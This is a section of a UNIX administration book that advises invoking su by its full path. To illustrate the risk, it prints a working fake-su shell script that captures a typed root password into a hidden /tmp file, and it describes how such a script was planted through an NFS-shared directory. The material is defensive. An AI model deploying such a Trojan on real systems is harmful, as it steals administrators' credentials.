UNIX Hints & Hacks

ContentsIndex

Chapter 3: Security

 

Previous ChapterNext Chapter

Sections in this Chapter:

 

3.1 Delegating root to Multiple Admins

 

3.5 Permissions Levels

 

3.8 File Encryption

 

3.6 Protect root at All Costs

 

3.9 Clear and Lock

3.3 Monitoring root in the Password File

 

3.7 File Collecting

 

3.10 Power Tools

3.4 Vulnerabilities in UNIX

 

 

 

 

 

3.2 The Full Path to Superuser

3.2.1 Description

3.2.1 Description

Discusses using the full path to be superuser. Do not execute su by itself. The su command resides in the /bin directory. When you type the command without its entire path, you risk the chance of executing some nonsystem su program that might be a Trojan horse residing in a directory other than /bin. You have to be cautious and aware of your environment variable setting for PATH. When you type the command su, your shell searches for the executable program in the order that the directories are listed in your PATH variable. If there is an su command in /usr/local/bin that is executed before /bin, the nonsystem su command in /usr/local/bin is executed. You could run this program and not even know it.

Example

Flavors: all

Syntax:

/bin/su [ - ] name

Accessing the superuser root account can be done in various ways. One of the safest is from the local console, defining the entire path to the command.

This is the wrong way:

$ su

This is also wrong:

$ su root

This is the right way:

$ /bin/su

This is also correct:

$ /bin/su root

Reason

You should really get into the habit of typing the entire path for security reasons. An easy way to obtain root is to get access for someone with root to run a different version of su.

Real World Experience

Here is an example of a hack that has been performed in the past. I'm not saying I did it, but it does work. A user wants root access on a computer other than his own. He knows that /usr/local/bin is cross-mounted from many servers to the central fileserver. He had root access on his UNIX workstation but not on the system he was targeting. Although none of the systems was trusted by one another at the root level, the fileserver was exporting root's permissions to his computer via NFS. Some administrators actually have been known to have /usr/local/bin at the beginning of their path, before /bin.

path    (/usr/sbin /usr/bsd /sbin /usr/bin /usr/local/bin /bin /etc /usr/etc /usr/bin/X11)

The following similar script appeared in the /usr/local/bin and had a filename of su:

#! /bin/sh
stty -echo
echo -n "Password:" read PASSWD
stty echo echo echo "Sorry"
echo "$1 / $2: $PASSWD" >> /tmp/.Text33s5

Line 1: Define the shell being used.

Line 3: Turn off the echoing of characters to STDOUT.

Line 4: Simulate a login session by asking for a password.

Line 5: Read the typed password into the variable $PASSWD.

Line 7: Turn the echoing back on so characters are sent to STDOUT.

Line 10: Simulate a wrong password being entered.

Line 12: Write the root account name (if specified) and the password entered to an inconspicuous filename.

The output then appears as if the administrator were attempting to switch to the root account and become superuser.

$ su root
Password:
Sorry
$
$ cat /tmp/.Text33s5
root / secretpasswd

Believe it or not, it works! If your password doesn't work using the su command but works when you log in at the initial console login prompt, change your password immediately! It is crude and simple: Don't get your root password hacked by a simple script; use the full path to /bin/su.

Other Resources

Man pages:

su

UNIX Hints & Hacks

ContentsIndex

Chapter 3: Security

 

Previous ChapterNext Chapter

Sections in this Chapter:

 

3.1 Delegating root to Multiple Admins

 

3.5 Permissions Levels

 

3.8 File Encryption

 

3.6 Protect root at All Costs

 

3.9 Clear and Lock

3.3 Monitoring root in the Password File

 

3.7 File Collecting

 

3.10 Power Tools

3.4 Vulnerabilities in UNIX

 

 

 

 

 

© Copyright Macmillan USA. All rights reserved.